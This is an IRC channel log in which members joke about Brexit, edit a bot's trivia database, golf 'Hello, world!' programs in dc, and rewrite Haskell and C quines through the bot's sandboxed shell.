00:01:35 <oerjan> boily: to repeat, it's not yolŋu, but the same family.
00:02:43 <boily> oerjan: warlpiri?
00:03:10 <boily> shoachoaf!
00:03:13 <oerjan> *ding*(o)
00:03:27 <boily> . o O ( shoachoaf sounds strangely Bavarian... )
00:03:45 <shachaf> `wisdom
00:03:48 <HackEgo> møøse//Møøse is Norwegian for moss.
00:03:53 <shachaf> `wisdom
00:03:57 <HackEgo> nobody//Nobody killed the cyclops Polyphemos after he tried to eat a shipful of sailors, and this perceived injustice made Poseidon so mad he swore vengeance at him and the gods couldn't calm him down for ten years.
00:04:07 <shachaf> `wisdom
00:04:09 <HackEgo> rhenium//Rhenium is a precious metal. It can be found nowhere in Earth because the Enemy has used up all of it for forging the One Ring.
00:04:21 <oerjan> Igler i møøsen.
00:06:59 <quintopia> did oerjans wisdom once read future expert in lazy computation?
00:06:59 <oerjan> `? odysseus
00:07:01 <HackEgo> odysseus? ¯\(°​_o)/¯
00:07:24 <oerjan> quintopia: i dunno
00:08:32 <oerjan> `learn Odysseus was a Greek nobody, who somehow got famous for horsing around.
00:08:35 <HackEgo> Learned 'odysseu': Odysseus was a Greek nobody, who somehow got famous for horsing around.
00:08:48 <oerjan> oops
00:08:50 <shachaf> oerjan: Aren't you an expert in past computation?
00:08:55 <shachaf> Being Precambrian?
00:08:59 <oerjan> `` mv odysseu{,s}
00:09:00 <HackEgo> mv: cannot stat `odysseu': No such file or directory
00:09:19 <oerjan> shachaf: well given i haven't really programmed for ages, sounds about right
00:09:25 <oerjan> `` mv wisdom/odysseu{,s}
00:09:28 <HackEgo> No output.
00:09:46 <shachaf> oerjan: And you're not American anyway.
00:09:54 <shachaf> http://i.imgur.com/ViHGGeg.png
00:10:58 <oerjan> washington, er, maybe jefferson, or was he later? some adams guy maybe.
00:11:07 <oerjan> definitely not.
00:11:27 <izabera> made a small http server in bash http://arin.ga:8080/
00:11:31 <boily> there's a Garfield in there, innit?
00:11:33 <izabera> http://arin.ga:8080/srv source is here
00:11:43 <oerjan> i cannot name the first four norwegian kings (medieval, we haven't had four modern ones yet) in order either.
00:12:11 <oerjan> boily: in the first four?
00:12:17 <izabera> don't hack me
00:12:33 <boily> izabellora. as if we were going to be hacking you :P
00:12:56 <izabera> if someone can, they're in this chan
00:13:10 <boily> oerjan: darn. he was the 20th.
00:13:26 <boily> `addquote <izabera> if someone can, they're in this chan
00:13:29 <HackEgo> 1284) <izabera> if someone can, they're in this chan
00:14:02 <izabera> also nobody else knows it exists
00:15:42 <shachaf> http://i.imgur.com/iRy6j43.png
00:15:44 <shachaf> ken m is tg
00:17:19 <oerjan> conclusion: mr machines see the future hth
00:18:40 <oerjan> `addquote <Ken M> If we don't study the mistakes of the future we're doomed to repeat them for the first time :(
00:18:42 <HackEgo> 1285) <Ken M> If we don't study the mistakes of the future we're doomed to repeat them for the first time :(
00:20:15 -!- jaboja has quit (Ping timeout: 264 seconds).
00:21:33 <izabera> irc is the only medium where brexit isn't on topic
00:21:43 <izabera> i'm so glad it exists
00:26:41 <shachaf> oerjan: now i'm just reading ken ms
00:26:44 <shachaf> http://i.imgur.com/G4uwvB3.png
00:28:44 <shachaf> https://i.imgur.com/5oQV7rN.png
00:30:05 * oerjan thinks he's reached his ken m quota
00:35:29 <shachaf> http://i.imgur.com/mOvuYhY.png http://i.imgur.com/bz6BAdb.png http://i.imgur.com/N6aImsQ.png
00:35:32 <shachaf> these are great
00:46:00 -!- FreeFull has joined.
00:48:54 * oerjan is doing some ancient catching up instead http://www.irregularwebcomic.net/podcasts/podcast015.html
00:53:11 <shachaf> `? oerjan
00:53:14 <HackEgo> Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
00:53:26 <shachaf> That wisdom entry has too many adjectives.
00:53:30 <shachaf> No room to add more adjectives.
00:53:33 <oerjan> <\oren\> Finnxit <-- surely one should use the proper name and say Suxit hth
00:54:27 <izabera> it's funny because politics
00:54:34 <shachaf> i,i poistuomi
00:54:49 <shachaf> fizzie: can you confirm/deny twh
00:54:56 <shachaf> @time fizzie
00:54:57 <lambdabot> Local time for fizzie is Sat Jun 25 00:54:57 2016
01:00:23 <quintopia> hmm
01:07:12 <quintopia> Ken M is apparently the best troll ever. how can we aspire to such greatness?
01:08:01 <\oren\> EU got 1GB of free space.
01:08:20 <quintopia> brexit offtopic stahp
01:08:52 <oerjan> @tell hppavilion[1] grep has a -r option hth
01:08:52 <lambdabot> Consider it noted.
01:10:08 <oerjan> `? brexit
01:10:12 <HackEgo> brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
01:11:21 <oerjan> `learn brexit is a command to forcefully exit, releasing 1GB of free space.
01:11:21 <quintopia> Lets talk about bitcoin...and how thanks to certain political events not to be mentioned i just may have enough to make that purchase...
01:11:24 <HackEgo> Relearned 'brexit': brexit is a command to forcefully exit, releasing 1GB of free space.
01:14:52 <shachaf> What about the 1NI?
01:16:15 <boily> bitcoin is still alive?
01:17:23 <quintopia> https://m.reddit.com/r/Bitcoin/comments/4pmrpt/bitcoin_price_be_like/
01:17:23 <shachaf> quintopia: what, are you liquidating your britcoin position?
01:18:04 <quintopia> eh...i never held any GBTC
01:25:06 -!- MoALTz has quit (Ping timeout: 244 seconds).
01:26:15 <shachaf> `wisdom
01:26:17 <HackEgo> abstract nonsense//We would have an explanation of abstract nonsense here, but it fled into a diagram and we haven't been able to chase it. We will try again once we find an abstract machete.
01:26:32 <shachaf> `wisdom
01:26:35 <HackEgo> john//John is not Hziulquoigmnzhah of Cykranosh, the dread spawn of Cxaxukluth, according to http://smbc-comics.com/index.php?id=4072
01:26:39 <shachaf> `wisdom
01:26:41 <HackEgo> shachaf//shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him.
01:27:19 <shachaf> HackEgo: nepeta leijon is dead
01:27:31 <shachaf> `wisdom
01:27:33 <HackEgo> universe//A universe is a poem in one stanza.
01:29:33 <shachaf> `wisdom
01:29:36 <HackEgo> derangement//"Green tandem" is a derangement of "derangement".
01:35:02 <boily> `wisdom
01:35:04 <HackEgo> burlesque//Burlesque is only the sexiest language on Earth. (See: http://mroman.ch/burlesque)
01:37:19 <shachaf> `culprits wisdom/derangement
01:37:33 <HackEgo> int-e
01:41:44 <shachaf> `sled wisdom/derangement//s/"\([^"]*\)"\([^"]*\)"\([^"]*\)"/"\3"\2"\1"/
01:41:47 <HackEgo> wisdom/derangement//"derangement" is a derangement of "Green tandem".
01:42:05 <shachaf> `slwd derangement//s/G/g/
01:42:10 <HackEgo> wisdom/derangement//"derangement" is a derangement of "green tandem".
02:06:10 <oerjan> @tell Etaoin You probably _can_ get it from the euler identity somehow, but it seems easier to me to get _both_ from the Taylor power series for exp, sin and cos. Well, it all gets a bit circular so there are probably several choices for how to bootstrap the definitions.
02:06:10 <lambdabot> Consider it noted.
02:07:03 <shachaf> oerjan: another unintentional pun? tdnh
02:07:54 <oerjan> @tell etaoin Hm wait, euler identity seems a little weak. You want at least Euler's formula.
02:07:54 <lambdabot> Consider it noted.
02:08:10 <oerjan> shachaf: well at least i noticed it before you said it.
02:10:09 -!- hppavilion[1] has joined.
02:12:03 <\oren\> ARGH
02:12:23 <\oren\> why does /who \oren\ not say orenwatson.be?
02:12:40 <\oren\> oren@ec2-52-2-213-98.compute-1.amazonaws.com <-- what's this crap
02:13:21 <shachaf> orenwatson.be.mad
02:13:33 <shachaf> \oren\: https://aws.amazon.com/blogs/aws/reverse-dns-for-ec2s-elastic-ip-addresses/ hth
02:14:25 <shachaf> You could just get a cloak, though.
02:14:52 <\oren\> like, the clothing? I have one.
02:15:02 <shachaf> @google irc cloak
02:15:04 <lambdabot> https://meta.wikimedia.org/wiki/IRC/Cloaks
02:15:28 <boily> I could use a cloak... boily@chicken.chicken.chicken
02:16:21 <shachaf> Maybe if you get Chicken Scheme to provide IRC cloaks.
02:17:14 <oerjan> @tell etaoin It's pretty direct from that + conjugation, actually.
02:17:14 <lambdabot> Consider it noted.
02:17:37 <oerjan> . o O ( TRIPLICATE CHICKEN )
02:31:14 * boily snatches the departicken word from oerjan. thanks!
02:31:46 <\oren\> ok well we'll see if this form does anything...
02:34:20 <boily> he\\oren\. what colour is your cloak?
02:35:54 -!- hppavilion[2] has joined.
02:37:29 <\oren\> black
02:37:43 <hppavilion[2]> It's interesting that https://faq.ssa.gov/ics/support/default.asp?deptID=34019&_referrer= (which is a rather shitty URL) doesn't have a "What the hell is social security" entry
02:37:51 -!- hppavilion[1] has quit (Ping timeout: 246 seconds).
02:37:51 <\oren\> waterproof, too
02:38:55 <hppavilion[2]> https://www.cuidadodesalud.gov/es/ is the spanish healthcare.gov. One must wonder why they need the /es/
02:42:13 <\oren\> probably as opposed to catalan?
02:43:51 <pikhq> hppavilion[2]: As opposed to /en/.
02:44:07 -!- centrinia has joined.
02:45:06 <quintopia> boily: having a BiG fRiDaY nIgHt Eh?
02:45:15 <coppro> I think he's asking why it's the default
02:45:31 <coppro> boily: does your cloak billow?
02:47:28 <boily> quintopia: quiet night here :D
02:47:39 -!- hppavilion[2] has quit (Ping timeout: 246 seconds).
02:48:10 <boily> (at least I downed a few ounces of québécois gin. my patriotic gland is atrophied, and my wild party days are over...)
02:48:22 <boily> coppro: I don't have any cloaks yet :(
02:48:28 <coppro> :(
02:50:05 <quintopia> boily: howzabouta quick game of sth
02:51:43 <boily> do you have anything 1v1 that can be hooked up?
02:52:36 <quintopia> uh probs. tend to prefer coop
02:54:53 <boily> not sure I can stand something coordinated atm. a little bit too sloshed >_>'...
02:55:28 <boily> tomorrow night I'll borderlands with ya.
02:55:41 <boily> for now, time to express a pillow.
02:55:43 <coppro> boily: did you replace your patriotic gland with alcohol?
02:55:53 <boily> <_<;;... >_>.......
02:56:01 * boily whistles tunelessly
02:56:27 -!- boily has quit (Quit: TRIPLICATE CHICKEN).
03:03:41 -!- bender has joined.
03:07:51 -!- hppavilion[2] has joined.
03:20:49 -!- lambda-11235 has joined.
03:20:51 -!- dos has joined.
03:24:24 -!- hppavilion[2] has quit (Ping timeout: 246 seconds).
03:27:17 -!- centrinia has quit (Quit: Leaving).
04:13:19 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
04:13:56 -!- spockers has joined.
04:20:04 -!- dos has quit (Ping timeout: 252 seconds).
04:41:11 -!- Kaynato has quit (Read error: Connection reset by peer).
04:46:35 -!- centrinia has joined.
04:47:10 -!- Kaynato has joined.
04:51:35 -!- centrinia has quit (Quit: Leaving).
05:16:34 -!- augur has joined.
05:42:51 -!- Kaynato has quit (Ping timeout: 240 seconds).
06:16:31 -!- Melvar` has joined.
06:17:10 -!- Melvar has quit (Disconnected by services).
06:17:13 -!- Melvar` has changed nick to Melvar.
06:18:46 -!- idris-bot has quit (Ping timeout: 272 seconds).
06:41:16 -!- oerjan has quit (Quit: Nite).
06:47:33 -!- augur has quit (Remote host closed the connection).
07:30:43 -!- lambda-11235 has quit (Quit: Bye).
08:53:25 <int-e> `` dc <<<11+11+11+11+11+11+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P111P11+11+11+11+P11+11+1+1+1+1+1+1+1+1+1+1+P111+1+1+1+1+1+1+1+1+P111P111+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+P11+11+11+P
08:53:52 <HackEgo> dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ Hello, world!
09:17:16 -!- MoALTz has joined.
09:24:03 -!- heroux has quit (Remote host closed the connection).
09:25:36 <Cale> `` dc <<<"11 11+11+11+11+11+1+1+1+1+1+1+P11 11+11+11+111+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P111P11 11+11+11+P11 11+1+1+1+1+1+1+1+1+1+1+P111 1+1+1+1+1+1+1+1+P111P111 1+1+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11 11+11+11+11+11+11+11+11+1+P11 11+11+P"
09:25:53 <HackEgo> Hœllo, world!
09:26:04 <int-e> Cale: there's a reason for the stack overflows: the idea was to use as few distinct characters as possible
09:26:11 <Cale> ah
09:26:47 <int-e> (I'm going through old files and this turned up)
09:28:13 <lifthrasiir> `` dc <<<11111111111111111111111111111zP
09:28:17 <HackEgo> ​.
09:28:23 <lifthrasiir> `` dc <<<11111111111111111111111111111zp
09:28:24 <HackEgo> 1
09:28:26 <lifthrasiir> hmm.
09:29:56 <Cale> `` dc <<<11111111111111111111111111111Zp
09:29:57 <HackEgo> 29
09:33:44 -!- heroux has joined.
09:34:21 <int-e> true, that'll work.
09:35:03 <lifthrasiir> Cale: oh, I didn't ever think of Z
09:35:07 <int-e> in an idealized version of dc, zzzz...zzzzP will work
09:35:38 <int-e> (with 3179672657468351522 z-s in a row... okay, that can be shortened quite a bit)
09:38:04 <Cale> oh, whoa, how did the code for e get so mangled there...
09:38:25 <lifthrasiir> int-e: not really, 1830 bytes are enough
09:38:32 <lifthrasiir> `` python -c 's="Hello, world!\n"; print "".join((ord(d)-ord(c))%256*"z"+"zP" for c,d in zip("\0"+s, s))' | dc
09:38:40 <HackEgo> Hello., world!
09:39:07 <lifthrasiir> ah wait...
09:39:11 <lifthrasiir> you are right
09:39:12 -!- gamemanj has joined.
09:39:23 <lifthrasiir> it goes through two byte realm
09:39:40 <lifthrasiir> but it would take much less z's than 3179672657468351522
09:41:45 <lifthrasiir> int-e: printing 0x48, 0x65, 0x65, 0x6c, 0x2c20, 0x776f, 0x726c64, then... hmm, the final part is a bit off.
09:42:53 <int-e> H/e/l/l/o/, /wo/rld!/ ends up with 1919706161 characters
09:43:27 <lifthrasiir> int-e: let's cheat and use H/e/l/l/o/, /Wo/rl/d!\n instead :)
09:43:51 <lifthrasiir> 7103522 z's
09:47:16 <int-e> dropping the comma may be the nicer cheat, and that allows H/e/l/l/o/ w/or/ld!/ with 7103537 characters. you should get 6562074, I think?
09:47:45 <int-e> oh I'm counting the Ps, too, but you need an extra z for each P anyway.
09:53:51 <lifthrasiir> the final number to print + 1 + number of characters
09:54:14 <int-e> lifthrasiir: no, final number + 2 * number of prints
09:54:15 <lifthrasiir> ah, no, P consumes
09:54:17 <lifthrasiir> yeah
09:54:29 <gamemanj> why, exactly, does "hello world" in whatever language this is take up kilobytes?
09:55:00 <lifthrasiir> int-e was doing it with the smallest number of unique bytes
09:55:05 <lifthrasiir> in this case, only with z and P
09:55:16 <gamemanj> Ah.
09:55:55 <lifthrasiir> int-e: in any case zP approach is very viable, I guess
10:07:55 <Cale> What if we were to allow ourselves the alphabet "1d+P", how short could we make the program? There's a lot of room for common subexpression elimination.
10:09:31 <int-e> `` dc <<<zzzzzzzzzzzzzz+z+z+++Pzzzzzzz+z++z+++Pzzzzzzz++++z++Pzzzzzz++++z++Pzzzzzz+z+++++P++z+P++z+Pzzzzzzzzzzzzzz++++++Pzzzzz+z+++++Pzzzzzzz+++++z+Pzzzzz++++z++Pzzzzz+++++z+Pz++P
10:09:40 <HackEgo> Hello, world!
10:10:11 <Cale> `` dc <<<1ddddd11ddddd+++++++++++P1d11dddddddd++++++++++P11dddddddd++++++++d1dddddddd+++++++++ddPP111P11ddd+++P1ddddddddd11d+++++++++++P1ddddddd111++++++++P111P1dd111+++PP1+P11dd++P
10:10:12 <HackEgo> Hello, world!
10:10:20 <int-e> (the alphabet z+P also gives rise to an interesting optimization problem)
10:11:06 * int-e is not printing any final newline, btw
10:11:13 <Cale> (I didn't work very hard at optimising there, just removed the most obnoxious of the duplications :)
10:13:11 <int-e> but actually I could just append zP to get it... lucky!
10:14:38 <int-e> obviously you should use a doubling approach for multiplication.
10:15:18 <int-e> so ddddd+++++ ==> d+dd++
10:16:08 <int-e> but the real waste seems to be that the no values are preserved across the P instructions
10:16:50 <int-e> very tricky.
10:21:04 <shachaf> `zalgo dc
10:21:35 <HackEgo> No output.
10:21:39 <shachaf> `` echo dc | zalgo
10:21:42 <HackEgo> d̊ͯc̗̆
10:21:45 <shachaf> zalgo is the only Haskell program on HackEgo, I think.
10:22:06 <shachaf> I guess there's also quines/haskell. But I compiled that one into bash.
10:22:15 <int-e> looks like python to me
10:22:25 <shachaf> Oh, maybe I compiled it into Python?
10:22:28 <shachaf> `cat quines/haskell
10:22:29 <HackEgo> echo 'main=putStrLn$(<*>)(++)show"main=putStrLn$(<*>)(++)show"'
10:22:43 <shachaf> Or maybe you mean zalgo.
10:26:09 <int-e> I meant zalgo
10:27:52 <int-e> hmm, the more naive main=putStr s>>print s;s="main=putStr s>>print s;s=" is shorter
10:31:10 <shachaf> `` find -name '*zalgo*
10:31:11 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
10:31:16 <shachaf> `` find -name '*zalgo*'
10:31:22 <shachaf> int-e: Feel free to improve it.
10:31:27 <shachaf> `quines/haskell
10:31:39 <HackEgo> main=putStrLn$(<*>)(++)show"main=putStrLn$(<*>)(++)show"
10:31:46 <HackEgo> ​./bin/zalgoverload \ ./bin/zalgoerjan \ ./bin/zalgo \ ./.hg/store/data/zalgo.d \ ./.hg/store/data/bin/zalgo.d \ ./.hg/store/data/bin/zalgoverload.i \ ./.hg/store/data/bin/zalgo.i \ ./.hg/store/data/bin/zalgo2.i \ ./.hg/store/data/bin/zalgoerjan.i \ ./.hg/store/data/zalgo.o.i \ ./.hg/store/data/zalgo.hi.i \ ./.hg/store/data/zalgo.i \ ./.hg/store/
10:32:14 <shachaf> I just adapted the old ap(++)show"ap(++)show"
10:32:37 <int-e> right.
10:34:48 -!- Reece` has joined.
10:37:33 <int-e> `` ( echo 'main=putStr s>>print s'; echo 's="main=putStr s>>print s\ns="' ) > quines/haskell
10:37:37 <HackEgo> No output.
10:37:43 <int-e> `cat quines/haskell
10:37:44 <HackEgo> main=putStr s>>print s \ s="main=putStr s>>print s\ns="
10:42:09 <shachaf> Two-line quine? That's a bit scow, given how HackEgo renders newlines.
10:42:31 <shachaf> Well, I guess it's unavoidable.
10:42:32 <shachaf> `quines/c
10:42:33 <HackEgo> ​#include <stdio.h> \ char*a="#include <stdio.h>\nchar*a=\"@\";\nvoid main(){char*b=a;for(;(*a)!=0;a++){switch(*a){case '@':if(!(*b))putchar('@');for(;(*b)!=0;b++){switch(*b){case '\"':case '\\\\':putchar('\\\\');putchar(*b);break;case '\\n':putchar('\\\\');putchar('n');break;default:putchar(*b);}}break;default:putchar(*a);}}}"; \ void main(){cha
10:42:33 <int-e> pfft
10:42:49 <int-e> `` ( echo 'main=putStr s>>print s;s="main=putStr s>>print s;s="' ) > quines/haskell
10:42:52 <HackEgo> No output.
10:43:46 <int-e> woah
10:44:14 <int-e> long, *void* main...
10:44:25 <shachaf> What's wrong with void main?
10:44:37 <int-e> it's only allowed in free-standing implementations
10:45:48 <shachaf> Is that true?
10:46:31 <shachaf> It looks like it can be defined "in some other implementation-defined manner".
10:46:41 <shachaf> I guess it's not too standard.
10:46:59 <shachaf> `culprits quines/c
10:47:05 <HackEgo> gamemanj
10:47:24 <int-e> hmm, okay, it's less strict than I recall.
10:48:01 <int-e> `` ( echo '#include <stdio.h>'; echo 'int main(){char *s="#include <stdio.h>%cint main(){char *s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}' ) > quines/c
10:48:04 <HackEgo> No output.
10:49:01 <gamemanj> uh, wait a sec, if that's now "int main", where's the return?
10:50:04 <shachaf> In C99 you don't need to return from main.
10:50:09 <shachaf> Kind of scow if you ask me.
10:50:14 <shachaf> `quines/c++
10:50:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/quines/c++: No such file or directory
10:50:33 <shachaf> please write a quine in the c++ template system twh
10:51:31 <int-e> `` sed -i 's/r /r/g' quines/c
10:51:34 <HackEgo> No output.
10:52:18 <shachaf> sled :'(
10:52:52 <gamemanj> I'm pretty sure even learning how to use C++ templates require sacrificing a newborn program to the great Oracle of mlatu, who governs sanity and destruction. Or something.
10:53:06 <int-e> gamemanj: funny thing... the return is optional, and reaching the end of the main function is defined as producing an exit code of 0... *if* the return type is int.
10:53:23 <int-e> ("compatible with int" is the precise formulation)
10:53:38 <gamemanj> void * main()
10:53:52 <gamemanj> (depending on your definition of "compatible with int", this might work!)
11:08:08 <int-e> well, it's not my definition.
11:13:19 <int-e> and I'm not quite sure what the definition is... as far as I can see it allows for typedefs. (with typedef MYINT int, MYINT is compatible with int)
11:16:13 <int-e> oh also signed int and int are compatible.
11:17:10 <int-e> But unsigned int and signed int are not. Such fun.
11:24:19 -!- MoALTz has quit (Read error: Connection reset by peer).
11:25:09 -!- MoALTz has joined.
11:35:56 -!- jaboja has joined.
11:58:54 -!- jaboja has quit (Read error: Connection reset by peer).
12:01:42 -!- APic has quit (Ping timeout: 260 seconds).
12:28:06 <int-e> `` dc <<<zzzzzzzzzzzzzzzzzzz+zz++Pzzzz+zz+z++P+zzz++++Pzz++zz++++Pzzz+z+zz+++++Pz+zz++Pzz+z+Pzzzzzzzzzzzzzzzz+z+++P+++++Pzzzzz+z+z+++Pzz+zzz++++Pz+++++++Pzzzz++PzP
12:28:32 <HackEgo> Hello, world!
12:33:09 <int-e> `` dc <<<zzzzzzzzzzzzzzzzzzz+zz++Pzzzz+zz+z++P+zzz++++Pzz++zz++++Pzzz+z+zz+++++Pz+zz++Pzz+z+Pzzzzzzzzzzzzzzzz+z+++Pz+zz+z++Pzzzz+z+++Pzzz++z++Pzzz++++P+P
12:33:15 <HackEgo> Hello, world!
12:34:10 <int-e> (That should be optimal with the restriction that each P leaves numbers 0..k on a stack of size k+1... but I expect that violating that restriction would help)
12:58:42 <int-e> `` dc <<<11dd+ddd++1+d1dd+d+++P++d1+dP1dd+dd++d+dd+P1d+dd+d+++P111d1d+d+d++PdP1dd+++PPP11dd++P
12:58:47 <HackEgo> Hewor.e!
12:59:06 <int-e> `` dc <<<11dd+ddd++1+d1dd+d+++P++d1+dP1dd+dd++++dPdP111P11d+dd+P1d+dd+d+++P111d1d+d+d++PdP1dd+++PPP11dd++P
12:59:08 <HackEgo> Hello, world!
13:06:12 <int-e> `` dc <<<11d1+d+ddd++dP+1d+d++d1+Pd1d+d+d++dPddP1dd+++dP11d+dd+P1d+dd+d+++Pd1d+d+d++PdP1dd+++PPPdd++P
13:06:15 <HackEgo> Hello, world!
13:10:55 <int-e> `` dc <<<11d1+d+ddd++dP+d1dd+d+++Pd11+1+dPdPd1+P1d+dd+d+++Pd11+Pd1dd+++dP1dd+++PP1d+d++Pdd++P
13:10:57 <HackEgo> dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ Hellmvkcf`
13:11:02 <int-e> ah!
13:20:15 <int-e> `` dc <<<11d1+d+ddd++dP+d1dd+d+++Pd11+1+dPdPd+P1d+dd+d+++Pd11+Pd1dd+++dP1dd+++PP1d+d++Pdd++P
13:20:17 <HackEgo> dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ HellØj
13:20:47 <int-e> :-/
13:32:42 <int-e> `` dc <<<11d1+d+ddd++dP+1d+d++d1+Pd1d+d+d++dPdP111P11d+dd+P1d+dd+d+++Pd11+P111dP1dd+++PPPdd++P
13:32:44 <HackEgo> Hello, world!
13:35:58 <int-e> Okay, that's half of Cale's program's size... perhaps that's a good place to stop.
13:36:15 <Cale> hah, nicely done
13:55:44 <int-e> (I'm also at a loss about what to try next to improve that program.)
14:47:03 -!- zgrep_ has joined.
14:47:33 -!- boily has joined.
14:48:39 -!- Warrigal has joined.
14:48:41 -!- pikhq_ has joined.
14:48:55 -!- bender has quit (Ping timeout: 250 seconds).
14:49:15 -!- kragniz_ has joined.
14:49:27 -!- erdic_ has joined.
14:50:35 -!- ^v^v has joined.
14:51:14 -!- sebbu has quit (Ping timeout: 258 seconds).
14:51:15 -!- pikhq has quit (Ping timeout: 258 seconds).
14:51:16 -!- fractal has quit (Ping timeout: 258 seconds).
14:51:16 -!- heroux has quit (Ping timeout: 258 seconds).
14:51:17 -!- erdic has quit (Ping timeout: 258 seconds).
14:51:17 -!- ^v has quit (Ping timeout: 258 seconds).
14:51:17 -!- tswett has quit (Ping timeout: 258 seconds).
14:51:17 -!- kragniz has quit (Ping timeout: 258 seconds).
14:51:17 -!- zgrep has quit (Ping timeout: 258 seconds).
14:51:30 -!- erdic_ has changed nick to erdic.
14:54:46 -!- zgrep_ has changed nick to zgrep.
14:56:18 -!- heroux has joined.
15:00:28 -!- bender has joined.
15:01:08 -!- fractal has joined.
15:03:05 -!- kragniz_ has changed nick to kragniz.
15:17:27 -!- Kaynato has joined.
15:29:34 -!- augur has joined.
15:33:38 -!- sebbu has joined.
16:47:39 -!- bender has quit (Ping timeout: 250 seconds).
16:55:46 <boily> `wisdom
16:56:15 <HackEgo> xkcq//"xkcq" is worth 8 more points than "xkcd" in Scrabble, or a whopping 30 more if both are played optimally on a triple word score. Nyahhh.
16:57:13 <boily> `` culprits wisdom/xkcq
16:57:27 <HackEgo> b_jonas
16:59:05 * boily equips his mapole with cat ears, the proceeds to mapole b_jonas for having nyaaahhhed.
17:02:58 <int-e> scrabble is too hard
17:40:01 -!- augur has quit (Remote host closed the connection).
17:45:02 -!- PinealGlandOptic has joined.
17:50:17 <izabera> 5$ file zpipe.c
17:50:19 <izabera> zpipe.c: CLIPPER instruction trace
17:50:26 <izabera> and zpipe.c is this https://github.com/madler/zlib/blob/master/examples/zpipe.c
17:51:43 <izabera> i don't even know what a CLIPPER is
17:56:30 <gamemanj> https://github.com/file/file/blob/master/magic/Magdir/clipper
17:56:45 <gamemanj> I have no idea what this means
17:56:48 <gamemanj> but it contains your answer
17:57:00 <gamemanj> see the "pipe"?
17:57:13 -!- boily has quit (Quit: JUPITER CHICKEN).
17:57:26 <gamemanj> "pipe" at 4 bytes in, which zpipe.c matches,
17:57:37 <gamemanj> says that it's a CLIPPER instruction trace
17:58:09 <gamemanj> `` echo " pipe" > .tmp-clipper-instruction-trace
17:58:17 <HackEgo> No output.
17:58:18 <gamemanj> `` file .tmp-clipper-instruction-trace
17:58:21 <HackEgo> ​.tmp-clipper-instruction-trace: CLIPPER instruction trace
17:58:23 <gamemanj> `` rm .tmp-clipper-instruction-trace
17:58:28 <HackEgo> No output.
17:59:03 <gamemanj> in your case the text was "/* zpipe"
18:19:47 <lifthrasiir> gamemanj: probably priority issue. contact file(1) maintainer.
18:20:09 <lifthrasiir> (I'm pretty sure that the magics do include "/*" rules for C/C++ files)
18:23:01 <zzo38> I looked up "Intergraph Clipper" in Wikipedia, and I have managed to find it.
18:23:48 -!- augur has joined.
18:27:37 -!- Melvar has quit (Ping timeout: 252 seconds).
18:32:16 -!- Melvar has joined.
19:01:29 <int-e> `? comonad
19:02:03 <HackEgo> Comonads are just monads in the dual category.
19:05:01 <int-e> `learn_append comonad They are hard to get into.
19:05:13 <HackEgo> Learned 'comonad': Comonads are just monads in the dual category. They are hard to get into.
19:14:36 <shachaf> int-e: Are they?
19:19:18 <int-e> at least in the same sense as that monads are hard to get out of :-P
19:20:04 <int-e> But I also have not yet found comonads useful, personally... I'm sure it's entirely my own fault.
19:20:53 <fizzie> Come *on*! .tmp at the root directory?
19:21:21 <fizzie> There's a /tmp that's a tmpfs, and a tmp/ that's unversioned.
19:21:42 <fizzie> s/root/hackenv/
19:22:04 <int-e> `` ls -lad .tmp
19:22:07 <HackEgo> ls: cannot access .tmp: No such file or directory
19:22:18 <fizzie> It was .tmp-clipper-instruction-trace and got removed already.
19:22:23 <int-e> oh, up there
19:22:28 <fizzie> (But still made two commits, of course.)
19:24:36 <shachaf> I don't think monads are hard to get out of either.
19:24:42 <shachaf> fizzie: To be fair, tmp/ is a new innovation.
19:24:44 <shachaf> `? shaventions
19:24:46 <HackEgo> shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
19:25:00 <Taneb> What does shaventions do?
19:25:09 <shachaf> `sled wisdom/shanvention//s#mk#tmp/, mk#
19:25:10 <HackEgo> Rosebud!
19:25:19 <shachaf> `sled wisdom/shanventions//s#mk#tmp/, mk#
19:25:21 <HackEgo> Rosebud!
19:26:52 <int-e> `culprits bin/sled
19:27:12 <HackEgo> oerjan oerjan oerjan oerjan oerjan shachaf shachaf shachaf shachaf
19:27:28 <int-e> so many!
19:28:11 <shachaf> `ls wisdom/shavention
19:28:12 <HackEgo> wisdom/shavention
19:28:17 <int-e> oh because oerjan needed 3 attempts to add the movie spoiler
19:45:34 <int-e> hmmmmm.... flaming hot sled
19:46:04 <shachaf> `cat bin/sled
19:46:08 <HackEgo> ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
19:46:31 <shachaf> Oh.
19:46:41 <shachaf> `sled wisdom/shavention//s#mk#tmp/, mk#
